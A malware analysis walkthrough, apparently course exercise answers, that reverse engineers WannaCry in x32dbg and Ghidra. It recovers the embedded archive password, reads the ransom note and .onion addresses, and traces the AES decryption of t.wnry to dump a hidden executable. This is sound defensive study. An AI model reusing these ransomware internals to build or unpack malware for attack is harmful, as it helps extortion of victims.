After MoveFileExA, a file is created and a process executed. The assumption is that the process execution will be a simple run of the new file. The key questions here are: is the file really the resource, and if so, can it be seen how it gets decrypted? Previously, attempts to unzip the dump from pestudio prompted for a password.
The steps taken are:
- open the sample in x32dbg
- set a breakpoint at
WriteFile(bpx WriteFile) RunRun till return- run step by step until the end of the first
CloseHandle, at instruction00407E6E.
At that point, the file in C:\Windows has been written and still requires a password to be extracted. Stepping further down in the code, a potential command line being created can be seen:
Note the /i after the name in EDX.
Once the call to CreateProcess 13 is reached, the lpCommandLine parameter is set to only C:\Windows\tasksche.exe /i. Given the following signature:
BOOL CreateProcessA( [in, optional] LPCSTR lpApplicationName, [in, out, optional] LPSTR lpCommandLine, [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes, [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] BOOL bInheritHandles, [in] DWORD dwCreationFlags, [in, optional] LPVOID lpEnvironment, [in, optional] LPCSTR lpCurrentDirectory, [in] LPSTARTUPINFOA lpStartupInfo, [out] LPPROCESS_INFORMATION lpProcessInformation);in x32dbg the second parameter closest to the call is the one assigned from EDX.
This reveals a mistake in the earlier assumption that the file was only a password-protected zip file. Dropping the file into pestudio shows that it is not just a zip; it also contains a new resource:
This time the resource is indeed a password-protected archive.
The next step is to open tasksche.exe in Ghidra and find the zip password. There is no operational value in finding this password, but it is a good learning exercise.
To find the password, the analysis starts by looking for the usual pattern of resource loading. From Window → Symbol References, search for the LoadResource function, and jump to where it is called (at 00401dde). There the usual code pattern appears:
00401dc3 CALL dword ptr [->KERNEL32.DLL::FindResourceA] ; = 0000da6c00401dc9 MOV ESI, EAX00401dcb TEST ESI, ESI00401dcd JZ LAB_00401e0700401dcf PUSH ESI ; HRSRC hResInfo for LoadResource00401dd0 PUSH dword ptr [EBP + param_1] ; HMODULE hModule for LoadResource00401dd3 CALL dword ptr [->KERNEL32.DLL::LoadResource] ; = 0000da5c00401dd9 TEST EAX, EAX00401ddb JZ LAB_00401e0700401ddd PUSH EAX ; HGLOBAL hResData for LockResource00401dde CALL dword ptr [->KERNEL32.DLL::LockResource] ; = 0000da4c00401de4 MOV EDI, EAX00401de6 TEST EDI, EDI00401de8 JZ LAB_00401e0700401dea PUSH dword ptr [EBP + param_2]00401ded PUSH ESI ; HRSRC hResInfo for SizeofResource00401dee PUSH dword ptr [EBP + param_1] ; HMODULE hModule for SizeofResource00401df1 CALL dword ptr [->KERNEL32.DLL::SizeofResource] ; = 0000da3aAfter that there are a few calls to other functions. There are two options:
- look for how this function has been called (by examining the caller function and what it is doing)
- look at each of the calls made inside this function
To decide, Window → Function Call Graph is used on the current function, which is renamed load_resources for easier tracking. All the functions it calls (and those they call) are expanded to see how deep the call stack goes. It is quite extensive, so it is more efficient to first see how load_resources itself is called.
Using Window → Function Call Tree, the analysis moves back to the function that called load_resources. The code that precedes the call is:
004020c8 MOV dword ptr [ESP]=>local_6f8, s_WNcry@2ol7_0040f ; = "WNcry@2ol7"004020cf PUSH EBX004020d0 CALL load_resources ; undefined load_resources(undefined4 param_1, ; undefined4 param_2)The MOV moves the value WNcry@2ol7 to the top of the stack, and EBX is then pushed on the stack. The function is then called with these two arguments. The string WNcry@2ol7 strongly resembles a password; trying it on the protected archive confirms that it works.
Question 16: What are the .wnry files about?
The .wnry files use a custom extension, so they might be anything. One approach is to load them in tools that understand the file header and MIME type, or simply inspect their content. They were opened with Exeinfo, pestudio, notepad, and the file command from Linux.
b.wnry: opened with Exeinfo it shows as an image, so changing the extension to .png and opening it with the default image viewer shows the background image used once the infection is triggered.
s.wnry: identified as an archive, and when extracted it contains the Tor and Data directories.
u.wnry: is another executable. Looking at the strings and resources sections of pestudio, there are clear indications that this binary spawns the payment interface. There are images in the resources section and strings like Check Payment. This is also confirmed later on in question 17, where the assembly lines showing the copy from u.wnry to WanaDecryptor in kbdlv.dll are identified.
r.wnry: is the ransom note; opening it with notepad displays the following:
Q: What's wrong with my files?
A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting!
Q: What do I do?
A: First, you need to pay service fees for the decryption. Please send %s to this bitcoin address: %s
Next, please find an application file named "%s". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.)
Q: How can I trust?
A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users.
* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window.c.wnry: recognized by file as “DATA”. A simple cat shows various .onion websites that might be used for some of the activities:
$ cat c.wnry�Cgx7ekbenv2riucmf.onion;57g7spgrzlojinas.onion;xxlvbrloxvriy2c5.onion;76jdd2ir2embyv47.onion;cwwnhwhlz52maqm7.onion;https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zipt.wnry: recognized by file as “DATA”, but opening it with cat or Notepad shows only incomprehensible data. Dragging the file to CFF Explorer and checking the hex representation shows the first few bytes as 57 41 4E 41 43 52 59, which in ASCII is WANACRY.
To better understand this data, it is useful to determine which executable uses it and how. To see how it is used, the code of tasksche.exe is reviewed where the t.wnry string appears. Looking at the address reference, the relevant code is:
00402125 PUSH s_t.wnry_0040f4f4 ; = "t.wnry"0040212a MOV dword ptr [EBP + local_8], EBX0040212d CALL FUN_004014a6 ; undefined FUN_004014a6(undefined4 param_1, undefined4 param_2);The first step is to look at the FUN_004014a6 function and rename param_1 to t_wnry, leaving the type as undefined4. (It could be changed to a STRING type, but that sometimes creates confusion in Ghidra later on.) The first occurrence of t_wnry is in CreateFileA:
004014fe PUSH EBX ; HANDLE hTemplateFile for CreateFileA004014ff PUSH EBX ; DWORD dwFlagsAndAttributes for CreateFileA00401500 PUSH 0x3 ; DWORD dwCreationDisposition for CreateFileA00401502 PUSH EBX ; LPSECURITY_ATTRIBUTES lpSecurityAttributes for ; CreateFileA00401503 PUSH 0x1 ; DWORD dwShareMode for CreateFileA00401505 PUSH 0x80000000 ; DWORD dwDesiredAccess for CreateFileA0040150a PUSH dword ptr [EBP + t_wnry] ; LPCSTR lpFileName for CreateFileA0040150d CALL dword ptr [->KERNEL32.DLL::CreateFileA] ; = 0000d92200401513 MOV EDI, EAXNote that CreateFileA takes lpFileName as an argument, which here is assigned to t_wnry. The returned file handle is moved from EAX to EDI.
From this point, to understand what else is done with the file, EDI needs to be tracked throughout the function, until it is overwritten by another value.
At line 1 it gets saved in local_24c, which will be used at line 114. In between, there are seven more times where it gets used.
00401515 MOV dword ptr [EBP + local_24c], EDI0040151b CMP EDI, -0x10040151e JZ LAB_004016d000401524 LEA EAX=>local_28, [EBP + -0x24]00401527 PUSH EAX ; PLARGE_INTEGER lpFileSize for GetFileSizeEx00401528 PUSH EDI ; HANDLE hFile for GetFileSizeEx00401529 CALL dword ptr [->KERNEL32.DLL::GetFileSizeEx] ; = 0000d9120040152f CMP dword ptr [EBP + local_24], EBX00401532 JG LAB_004016d000401538 JL LAB_004015470040153a CMP dword ptr [EBP + local_28], 0x640000000401541 JA LAB_004016d0 LAB_00401547 XREF[1]: 00401538(j)00401547 PUSH EBX00401548 LEA EAX=>local_20, [EBP + -0x1c]0040154b PUSH EAX0040154c PUSH 0x80040154e LEA EAX=>local_240, [EBP + 0xfffffdc4]00401554 PUSH EAX00401555 PUSH EDI00401556 CALL dword ptr [DAT_0040f880]0040155c TEST EAX, EAX0040155e JZ LAB_004016d000401564 PUSH 0x8 ; size_t _Size for memcmp00401566 PUSH s_WANACRY!_0040eb7c ; void * _Buf2 for memcmp0040156b LEA EAX=>local_240, [EBP + 0xfffffdc4]00401571 PUSH EAX ; void * _Buf1 for memcmp00401572 CALL MSVCRT.DLL::memcmp ; int memcmp(void * _Buf1, void * _Buf2, size_t ; _Size)00401577 ADD ESP, 0xc0040157a TEST EAX, EAX0040157c JNZ LAB_004016d000401582 PUSH EBX00401583 LEA EAX=>local_20, [EBP + -0x1c]00401586 PUSH EAX00401587 PUSH 0x400401589 LEA EAX=>local_248, [EBP + 0xfffffdbc]0040158f PUSH EAX00401590 PUSH EDI00401591 CALL dword ptr [DAT_0040f880]00401597 TEST EAX, EAX00401599 JZ LAB_004016d00040159f MOV EAX, 0x100004015a4 CMP dword ptr [EBP + local_248], EAX004015aa JNZ LAB_004016d0004015b0 PUSH EBX004015b1 LEA ECX=>local_20, [EBP + -0x1c]004015b4 PUSH ECX004015b5 PUSH EAX004015b6 PUSH dword ptr [ESI + 0x4c8]004015bc PUSH EDI004015bd CALL dword ptr [DAT_0040f880]004015c3 TEST EAX, EAX004015c5 JZ LAB_004016d0004015cb PUSH EBX004015cc LEA EAX=>local_20, [EBP + -0x1c]004015cf PUSH EAX004015d0 PUSH 0x4004015d2 LEA EAX=>local_244, [EBP + 0xfffffdc0]004015d8 PUSH EAX004015d9 PUSH EDI004015da CALL dword ptr [DAT_0040f880]004015e0 TEST EAX, EAX004015e2 JZ LAB_004016d0004015e8 PUSH EBX004015e9 LEA EAX=>local_20, [EBP + -0x1c]004015ec PUSH EAX004015ed PUSH 0x8004015ef LEA EAX=>local_238, [EBP + 0xfffffdcc]004015f5 PUSH EAX004015f6 PUSH EDI004015f7 CALL dword ptr [DAT_0040f880]004015fd TEST EAX, EAX004015ff JZ LAB_004016d000401605 CMP dword ptr [EBP + local_234], EBX0040160b JG LAB_004016d000401611 JL LAB_0040162300401613 CMP dword ptr [EBP + local_238], 0x64000000040161d JA LAB_004016d0 LAB_00401623 XREF[1]: 00401611(j)00401623 LEA EAX=>local_30, [EBP + -0x2c]00401626 PUSH EAX00401627 LEA EAX=>local_230, [EBP + 0xfffffdd4]0040162d PUSH EAX0040162e PUSH dword ptr [EBP + local_248]00401634 PUSH dword ptr [ESI + 0x4c8]0040163a LEA ECX, [ESI + 0x4]0040163d CALL FUN_004019e1 ; undefined FUN_004019e1(undefined4 param_1, ; undefined4 param_2, undefined4 param_3, undefined4 ; param_4)00401642 TEST EAX, EAX00401644 JZ LAB_004016d00040164a LEA EDI, [ESI + 0x54]0040164d PUSH 0x100040164f PUSH dword ptr [EBP + local_30]00401652 PUSH dword ptr [PTR_DAT_0040f578] ; = 0040f91400401658 LEA EAX=>local_230, [EBP + 0xfffffdd4]0040165e PUSH EAX0040165f MOV ECX, EDI00401661 CALL FUN_00402a76 ; undefined FUN_00402a76(undefined4 param_1, ; undefined4 param_2, undefined4 param_3, undefined4 ; param_4)00401666 PUSH dword ptr [EBP + local_238] ; SIZE_T dwBytes for GlobalAlloc0040166c PUSH EBX ; UINT uFlags for GlobalAlloc0040166d CALL dword ptr [->KERNEL32.DLL::GlobalAlloc] ; = 0000d87400401673 MOV dword ptr [EBP + local_2c], EAX00401676 CMP EAX, EBX00401678 JZ LAB_004016d00040167a PUSH EBX0040167b LEA EAX=>local_20, [EBP + -0x1c]0040167e PUSH EAX0040167f PUSH dword ptr [EBP + local_28]00401682 PUSH dword ptr [ESI + 0x4c8]00401688 PUSH dword ptr [EBP + local_24c]0040168e CALL dword ptr [DAT_0040f880]00401694 TEST EAX, EAX00401696 JZ LAB_004016d000401698 MOV EAX, dword ptr [EBP + local_20]0040169b CMP EAX, EBX0040169d JZ LAB_004016d00040169f CMP EBX, dword ptr [EBP + local_234]004016a5 JG LAB_004016b1004016a7 JL LAB_004016d0004016a9 CMP EAX, dword ptr [EBP + local_238]004016af JC LAB_004016d0 LAB_004016b1 XREF[1]: 004016a5(j)004016b1 PUSH 0x1004016b3 PUSH EAX004016b4 MOV EBX, dword ptr [EBP + local_2c]004016b7 PUSH EBX004016b8 PUSH dword ptr [ESI + 0x4c8]004016be MOV ECX, EDI004016c0 CALL FUN_00403a77 ; undefined FUN_00403a77(undefined4 param_1, ; undefined4 param_2, undefined4 param_3, undefined4 ; param_4)004016c5 MOV EAX, dword ptr [EBP + param_2]004016c8 MOV ECX, dword ptr [EBP + local_238]004016ce MOV dword ptr [EAX], ECX LAB_004016d0 XREF[18]: 0040151e(j), 00401532(j), 00401541(j), 0040155e(j), 0040157c(j), 00401599(j), 004015aa(j), 004015c5(j), 004015e2(j), 004015ff(j), 0040160b(j), 0040161d(j), 00401644(j), 00401678(j), 00401696(j), 0040169d(j), 004016a7(j), 004016af(j)004016d0 PUSH -0x1004016d2 LEA EAX=>local_14, [EBP + -0x10]004016d5 PUSH EAX004016d6 CALL MSVCRT.DLL::_local_unwind2 ; undefined _local_unwind2()004016db POP ECX004016dc POP ECX004016dd MOV EAX, EBX004016df JMP LAB_004016f9Currently the problem is what those DAT_xxxx strings are, for example:
00401554 PUSH EAX00401555 PUSH EDI00401556 CALL dword ptr [DAT_0040f880]And this is actually pretty easy to find. Double‑clicking on any of the DAT_xxxx strings, for example DAT_0040f880, leads to where this object is referenced:
DAT_0040f880 XREF[8]: FUN_004014a6:00401556(R), FUN_004014a6:00401591(R), FUN_004014a6:004015bd(R), FUN_004014a6:004015da(R), FUN_004014a6:004015f7(R), FUN_004014a6:0040168e(R), FUN_0040170a:0040176b(W), FUN_0040170a:004017af(R)0040f880 undefi 00000000hNote at line 7 that one of the functions (FUN_0040170a) writes to it (W), rather than reading (R). Double‑clicking on the function shows its code, specifically where the DAT_ objects are initialized:
00401727 PUSH s_kernel32.dll_0040ebe8 ; LPCSTR lpLibFileName for LoadLibraryA0040172c CALL dword ptr [->KERNEL32.DLL::LoadLibraryA] ; = 0000d86400401732 MOV EDI, EAX00401734 CMP EDI, EBX00401736 JZ LAB_004017d80040173c PUSH ESI0040173d MOV ESI, dword ptr [->KERNEL32.DLL::GetProcAddress] ; = 0000d85200401743 PUSH s_CreateFileW_0040ebdc ; LPCSTR lpProcName for GetProcAddress00401748 PUSH EDI ; HMODULE hModule for GetProcAddress00401749 CALL ESI=>KERNEL32.DLL::GetProcAddress0040174b PUSH s_WriteFile_0040ebd0 ; LPCSTR lpProcName for GetProcAddress00401750 PUSH EDI ; HMODULE hModule for GetProcAddress00401751 MOV [DAT_0040f878], EAX00401756 CALL ESI=>KERNEL32.DLL::GetProcAddress00401758 PUSH s_ReadFile_0040ebc4 ; LPCSTR lpProcName for GetProcAddress0040175d PUSH EDI ; HMODULE hModule for GetProcAddress0040175e MOV [DAT_0040f87c], EAX00401763 CALL ESI=>KERNEL32.DLL::GetProcAddress00401765 PUSH s_MoveFileW_0040ebb8 ; LPCSTR lpProcName for GetProcAddress0040176a PUSH EDI ; HMODULE hModule for GetProcAddress0040176b MOV [DAT_0040f880], EAX00401770 CALL ESI=>KERNEL32.DLL::GetProcAddress00401772 PUSH s_MoveFileExW_0040ebac ; LPCSTR lpProcName for GetProcAddress00401777 PUSH EDI ; HMODULE hModule for GetProcAddress00401778 MOV [DAT_0040f884], EAX0040177d CALL ESI=>KERNEL32.DLL::GetProcAddress0040177f PUSH s_DeleteFileW_0040eba0 ; LPCSTR lpProcName for GetProcAddress00401784 PUSH EDI ; HMODULE hModule for GetProcAddress00401785 MOV [DAT_0040f888], EAX0040178a CALL ESI=>KERNEL32.DLL::GetProcAddress0040178c PUSH s_CloseHandle_0040eb94 ; LPCSTR lpProcName for GetProcAddress00401791 PUSH EDI ; HMODULE hModule for GetProcAddress00401792 MOV [DAT_0040f88c], EAX00401797 CALL ESI=>KERNEL32.DLL::GetProcAddress00401799 CMP dword ptr [DAT_0040f878], EBX0040179f MOV [DAT_0040f890], EAXStarting from the top, LoadLibrary is called. This syscall loads a module so that the process can use its functionality.
This is commonly used to avoid loading the functionalities directly and hide from tools like pestudio, see the Load Library page for more info on this. In this case the module loaded is kernel32.dll.
At this point, at line 3, EDI contains the loaded module.
Following that, GetProcAddress is called:
00401743 PUSH s_CreateFileW_0040ebdc ; LPCSTR lpProcName for GetProcAddress00401748 PUSH EDI ; HMODULE hModule for GetProcAddress00401749 CALL ESI=>KERNEL32.DLL::GetProcAddress0040174b PUSH s_WriteFile_0040ebd0 ; LPCSTR lpProcName for GetProcAddress00401750 PUSH EDI ; HMODULE hModule for GetProcAddress00401751 MOV [DAT_0040f878], EAXGetProcAddress 14 requires a handle to a module as first argument (EDI) and the name of the process to get the address of (s_CreateFileW):
FARPROC GetProcAddress( [in] HMODULE hModule, [in] LPCSTR lpProcName);Once called it returns the address, which is saved in DAT_. Looking back at the original function, this adds up since the DAT_ is called by dereferencing the pointer:
0040168e CALL dword ptr [DAT_0040f880]So all the DAT_ in this function are renamed from DAT_xxxx to DAT_<syscall_name>, for example DAT_WriteFile. The function has also been renamed from FUN_0040170a to assign_dat_fileop.
With a clearer picture of what function FUN_004014a6 calls, its purpose becomes easier to approach. It starts by calling the CreateFile call which in this case does not create the file. This can be understood based on two factors:
- Intuition: it does not make sense to have a
CreateFilefollowed by aGetFileSizeand aReadFile, mostly because the file has not been written yet. So the first one will return0as well as the second. CreateFile, based on the Microsoft documentation 15 has one parameter calleddwCreationDispositionwhich in this case is set to3. This is translated toOPEN_EXISTING, which is described by Microsoft as: “Opens a file or device, only if it exists. If the specified file or device does not exist, the function fails and the last-error code is set to ERROR_FILE_NOT_FOUND (2).” So in order for the program to continue, the file must exist already.
The first thing done while reading the file is to compare the first bytes with the WANCRY! bytes mentioned earlier.
At this point the analysis becomes less straightforward, mostly due to the three functions that are called while reading the file. The functions are:
FUN_004019e1FUN_00402a76FUN_00403a77
The last two are the “easiest” to guess; they likely implement encryption/decryption routines. The reason for this assumption is that they are full of loops with modulo operators (%), byte shifts (<<) and generally more mathematical operations.
The first one is probably the best place to start:
******************************************************* * FUNCTION * ******************************************************* undefined FUN_004019e1(undefined4 param_1, undefi assume FS_OFFSET = 0xffdff000 undefined AL:1 <RETURN> undefined4 Stack[0x4]:4 param_1 XREF[2]: 004019fc(R), 00401a26(R) undefined4 Stack[0x8]:4 param_2 XREF[3]: 004019f8(*), 00401a23(R), 00401a34(R) undefined4 Stack[0xc]:4 param_3 XREF[1]: 00401a29(R) undefined4 Stack[0x10] param_4 XREF[1]: 00401a31(R) FUN_004019e1 XREF[1]: FUN_004014a6:0040163d(c)004019e1 PUSH EBP004019e2 MOV EBP, ESP004019e4 PUSH ESI004019e5 MOV ESI, ECX004019e7 PUSH EDI004019e8 CMP dword ptr [ESI + 0x8], 0x0004019ec JZ LAB_00401a19004019ee LEA EDI, [ESI + 0x10]004019f1 PUSH EDI ; LPCRITICAL_SECTION lpCriticalSection for ; EnterCriticalSection004019f2 CALL dword ptr [->KERNEL32.DLL::EnterCriticalSectio ; = 0000d9a2004019f8 LEA EAX=>param_2, [EBP + 0xc]004019fb PUSH EAX004019fc PUSH dword ptr [EBP + param_1]004019ff PUSH 0x000401a01 PUSH 0x100401a03 PUSH 0x000401a05 PUSH dword ptr [ESI + 0x8]00401a08 CALL dword ptr [DAT_0040f8a4]00401a0e TEST EAX, EAX00401a10 PUSH EDI ; LPCRITICAL_SECTION lpCriticalSection for ; LeaveCriticalSection00401a11 JNZ LAB_00401a1d00401a13 CALL dword ptr [->KERNEL32.DLL::LeaveCriticalSectio ; = 0000d98a LAB_00401a19 XREF[1]: 004019ec(j)00401a19 XOR EAX, EAX00401a1b JMP LAB_00401a3f LAB_00401a1d XREF[1]: 00401a11(j)00401a1d CALL dword ptr [->KERNEL32.DLL::LeaveCriticalSectio ; = 0000d98a00401a23 PUSH dword ptr [EBP + param_2] ; size_t _Size for memcpy00401a26 PUSH dword ptr [EBP + param_1] ; void * _Src for memcpy00401a29 PUSH dword ptr [EBP + param_3] ; void * _Dst for memcpy00401a2c CALL MSVCRT.DLL::memcpy ; void * memcpy(void * _Dst, void * _Src, size_t ; _Size)What this function does is use EnterCriticalSection 16 and LeaveCriticalSection to get and release a critical section object, which is an object that can be held by a single thread to ensure that two different threads are not able to access the same shared memory area.
Once this access is granted, another DAT_ object is called. Using the same method as before shows that DAT_0040f8a4 is written in FUN_00401a45, along with other variables. These are renamed as follows:
- DAT_CryptAcquireContext
- DAT_CryptImportKey
- DAT_CryptDestroyKey
- DAT_CryptEncrypt
- DAT_CryptDecrypt
- DAT_CryptGenKey
And in the function, DAT_CryptDecrypt is called on the critical section object retrieved previously:
004019f2 CALL dword ptr [->KERNEL32.DLL::EnterCriticalSectio ; = 0000d9a2004019f8 LEA EAX=>param_2, [EBP + 0xc]004019fb PUSH EAX004019fc PUSH dword ptr [EBP + param_1]004019ff PUSH 0x000401a01 PUSH 0x100401a03 PUSH 0x000401a05 PUSH dword ptr [ESI + 0x8]00401a08 CALL dword ptr [DAT_CryptDecrypt]The current guess is that since it is decrypting a shared memory area, the area is t.wnry, which is an encrypted file. The reason for this guess is the proximity of the calls. The file being read is t.wnry, which has a custom signature and no recognizable content.
In Ghidra the renaming of functions starts to give them names based on what they seem to be doing. The process followed is:
- Finding the reference to the string
t_wnry. - Finding the first function that calls it, previously identified as
FUN_004014a6, then opening it and examining each function one by one.
The full rename is:
FUN_004014a6→t_wnry_opsFUN_004019e1→UseCryptDecryptFUN_00402a76→MathThings→ this and all the below ones are purposely vague, mostly because their behaviour is not immediately clearFUN_00403a77→LotOfMathFUN_00403797→MathThings2FUN_00403a28→RaiseExceptionFUN_0040350f→MathThings3
This might seem like a pointless renaming, but looking at the decompiled code now, some steps make more sense:
iVar2 = UseCryptDecrypt(*(in_ECX + 0x4c8), local_248, local_230, &local_30);if (iVar2 != 0) { MathThings(local_230, PTR_DAT_0040f578, local_30, 0x10); local_2c = GlobalAlloc(0, local_238);This means that if the return value of UseCryptDecrypt is different from 0, some calculations are performed with two of the values used by the first function (local_230 and local_30). What UseCryptDecrypt returns does not really matter, since it is always used as a control variable for returns of operations.
The first parameter of the function is a pointer to the current value of ESI + 0x4c8, which is populated in one of the ReadFile calls just above, since it is the second argument of the call, lpBuffer 17:
004015b6 PUSH dword ptr [ESI + 0x4c8]004015bc PUSH EDI004015bd CALL dword ptr [DAT_ReadFile]The content of ESI + 0x4c8 is built progressively. The very first ReadFile is used to compare the first 8 bytes (third argument, nNumberOfBytesToRead of ReadFile) with WANACRY!, the header that was found previously. This is likely an “integrity” check:
0040154c PUSH 0x80040154e LEA EAX=>local_240, [EBP + 0xfffffdc4]00401554 PUSH EAX00401555 PUSH EDI00401556 CALL dword ptr [DAT_ReadFile]0040155c TEST EAX, EAX0040155e JZ end00401564 PUSH 0x8 ; size_t _Size for memcmp00401566 PUSH s_WANACRY!_0040eb7c ; void * _Buf2 for memcmp0040156b LEA EAX=>local_240, [EBP + 0xfffffdc4]Next it reads 4 more bytes:
00401582 PUSH EBX00401583 LEA EAX=>local_20, [EBP + -0x1c]00401586 PUSH EAX00401587 PUSH 0x400401589 LEA EAX=>local_248, [EBP + 0xfffffdbc]0040158f PUSH EAX00401590 PUSH EDI00401591 CALL dword ptr [DAT_ReadFile]After the ReadFile it is compared to 0x100 (256 decimal):
00401597 TEST EAX, EAX00401599 JZ end0040159f MOV EAX, 0x100004015a4 CMP dword ptr [EBP + local_248], EAX004015aa JNZ endIf it is successful, this value (0x100) is passed to UseCryptDecrypt as the second parameter.
Lastly, it reads 256 bytes which will be saved in ESI + 0x4c8:
0040159f MOV EAX, 0x100004015a4 CMP dword ptr [EBP + local_248], EAX004015aa JNZ end004015b0 PUSH EBX004015b1 LEA ECX=>local_20, [EBP + -0x1c]004015b4 PUSH ECX004015b5 PUSH EAX004015b6 PUSH dword ptr [ESI + 0x4c8]004015bc PUSH EDI004015bd CALL dword ptr [DAT_ReadFile]To see the content described above, t.wnry can be opened in HxD:
So the first argument to UseCryptDecrypt is the encrypted content of t.wnry, or part of it. The second argument is 256.
The third and fourth arguments of UseCryptDecrypt are only initialized but never used before the call:
undefined local_230 [512];undefined4 local_30;UseCryptDecrypt calls CryptDecrypt 18 , which has the following signature:
BOOL CryptDecrypt( [in] HCRYPTKEY hKey, [in] HCRYPTHASH hHash, [in] BOOL Final, [in] DWORD dwFlags, [in, out] BYTE *pbData, [in, out] DWORD *pdwDataLen);It is called as follow:
004019f8 LEA EAX=>param_2, [EBP + 0xc]004019fb PUSH EAX004019fc PUSH dword ptr [EBP + param_1]004019ff PUSH 0x000401a01 PUSH 0x100401a03 PUSH 0x000401a05 PUSH dword ptr [ESI + 0x8]00401a08 CALL dword ptr [DAT_CryptDecrypt]So param_2 (256) is pdwDataLen, while param_1 is pbData. Respectively, param_2 will contain the length of the decrypted data and param_1 the decrypted data. The content of param_1 is then copied into param_3 (which is local_230), using memcpy 19.
00401a23 PUSH dword ptr [EBP + param_2] ; size_t _Size for memcpy00401a26 PUSH dword ptr [EBP + param_1] ; void * _Src for memcpy00401a29 PUSH dword ptr [EBP + param_3] ; void * _Dst for memcpy00401a2c CALL MSVCRT.DLL::memcpy ; void * memcpy(void * _Dst, void * _Src, size_tlocal_230 is now the decrypted content and it is used in MathThings.
local_230 is therefore renamed to decrypted_content.
param_4, which is local_30, gets the value of param_2 at the end of the function:
00401a31 MOV EAX, dword ptr [EBP + param_4]00401a34 MOV ECX, dword ptr [EBP + param_2]00401a37 ADD ESP, 0xc00401a3a MOV dword ptr [EAX], ECXBecause of that, local_30 is renamed to sizeof_decrypted_content.
Stepping back for a second, the analysis so far shows that the first 256 bytes of the file are decrypted, which is a very small portion of the file.
The decrypted content is used in a math-related function. After that, the file is read till the end:
0040167b LEA EAX=>local_20, [EBP + -0x1c]0040167e PUSH EAX0040167f PUSH dword ptr [EBP + local_28]00401682 PUSH dword ptr [ESI + 0x4c8]00401688 PUSH dword ptr [EBP + local_24c]0040168e CALL dword ptr [DAT_ReadFile]This happens because local_28, which defines the size of bytes to read, is initialized in GetFileSizeEx:
00401524 LEA EAX=>local_28, [EBP + -0x24]00401527 PUSH EAX ; PLARGE_INTEGER lpFileSize for GetFileSizeEx00401528 PUSH EDI ; HANDLE hFile for GetFileSizeEx00401529 CALL dword ptr [->KERNEL32.DLL::GetFileSizeEx] ; = 0000d912The content is saved in ESI + 0x4c8, which is then sent to the LotOfMath function. A plausible working hypothesis is that the first 256 bytes read are an encryption key. In that case, this call:
0040164d PUSH 0x100040164f PUSH dword ptr [EBP + sizeof_decrypted_content]00401652 PUSH dword ptr [PTR_DAT_0040f578] ; = 0040f91400401658 LEA EAX=>decrypted_content, [EBP + 0xfffffdd4]0040165e PUSH EAX0040165f MOV ECX, EDI00401661 CALL MathThings ; undefined MathThings(undefined4 param_1,is consistent with key-related processing.
One thing that might give it away is that MathThings is very likely using AES. The clue is in the only clearly recognizable element in MathThings. Scrolling through the function shows a call to DAT_004089fc, which, when double‑clicked in Ghidra, looks like this:
DAT_004089fc XREF[28]: MathThings:00402cca(R), MathThings:00402cdf(R), MathThings:00402ce6(R), ... FUN_00402e7e:0040318a(R), FUN_00402e7e:0040319f(R), [more]004089fc ?? 63h c004089fd ?? 7Ch |004089fe ?? 77h w004089ff ?? 7Bh {< a lot of other bytes here>Searching online for the first few bytes (63, 7C, 77) leads directly to the Rijndael S-box used in AES 20. This is renamed to rijndael_1 to make it easier to spot in other calls; note that it is referenced in at least one other function in the XREF array in the definition section.
MathThings can be renamed to AESDecryptMaybeKey.
Similarly, MathThings2 contains some variables:
DAT_0040a3fcDAT_0040a7fcDAT_00409ffcDAT_00409bfc
These look like different permutations of the same set of bytes:
DAT_0040a3fc→F4 51 50 A7DAT_0040a7fc→51 50 A7 F4DAT_00409ffc→A7 F4 51 50DAT_00409bfc→50 A7 F4 51
Searching for a larger part of the first sequence, F4 51 50 A7 41 7E 53 65 17 1A C3 A4 27 3A 96 5E, leads to 21, which defines them as reverse tables (decryption lookup tables). At this point MathThings2 is renamed to AESDecryptData and the various DAT above as decrypt_table.
Lastly, in MathThings3 there are four more lookup tables similar to AESDecryptMaybeKey. They are renamed as follows:
DAT_004093fc→rijndael_2DAT_004097fc→rijndael_3DAT_00408ffc→rijndael_4DAT_00408bfc→rijndael_5
The function is then likely going to encrypt something, so it is renamed to AESEncryptSomething.
LotOfMath is renamed as well, to AESFunc.
The function’s behaviour at this point is reasonably clear; the remaining task is to check what is returned. There are two returned values, one via EAX:
004016dd 8b c3 MOV EAX ,EBX004016df eb 18 JMP LAB_004016f9and the other by changing the value of the pointer given as the second argument of the function. Looking at the disassembled code:
local_2c = GlobalAlloc(0, local_238);
if (local_2c != (HGLOBAL)0x0) { iVar2 = (*DAT_ReadFile)( hFile, *(undefined4 *)(in_ECX + 0x4c8), local_28, local_20, 0 );
pvVar1 = local_2c;
if ( ((iVar2 != 0) && (local_20[0] != 0)) && ( (0x7fffffff < local_234) || ( ((int)local_234 < 1) && (local_238 <= local_20[0]) ) ) ) { AESFunc( *(undefined4 *)(in_ECX + 0x4c8), local_2c, local_20[0], 1 );
*param_2 = local_238; pvVar3 = pvVar1; ... skipped to reduce the code snip
return pvVar3;param_2 is returned as the value of local_238, which is used earlier in GlobalAlloc as the second argument. According to the documentation, this is the size in bytes to allocate in memory 22. What is returned by GlobalAlloc is a handle to the space that has been allocated. This is saved in local_2c and then moved into pvVar1, then into pvVar3, which is returned.
At this stage, it is useful to decide where to place the breakpoints and why everything done so far is important.
A breakpoint after the t_wnry_ops function call will allow capture of:
- The address of the decrypted payload (in
EAX) - The size in bytes of the payload
The breakpoints are set at:
0040163D, which is the first parameter of theGlobalAllocfunction and represents the hexadecimal size in bytes. Once the line is executed the stack shows the amount of space reserved.00402132, which is the end of thet_wnry_opsfunction.
When the executable reaches the first breakpoint, stepping over to the next instruction adds to the stack the value 0x10000, which converted to decimal is 65536 bytes.
At the second breakpoint, the value of EAX is set to the address where the file has been decrypted and copied: 028A1490 (this value can differ). Following this address in a dump window shows the memory area filled with data. The first bytes are 4D 5A, which is the magic value of a Windows executable.
The last step is to highlight the 10000 bytes of data from the beginning and dump them to a file. To help determine how much to highlight, the dump view shows something like:
Dump: 028A1490 → 028A1545 (0x000000B6 bytes)Highlighting continues until the value in parentheses reaches 0x00010000, then the highlighted area can be saved via Binary → Save to file.
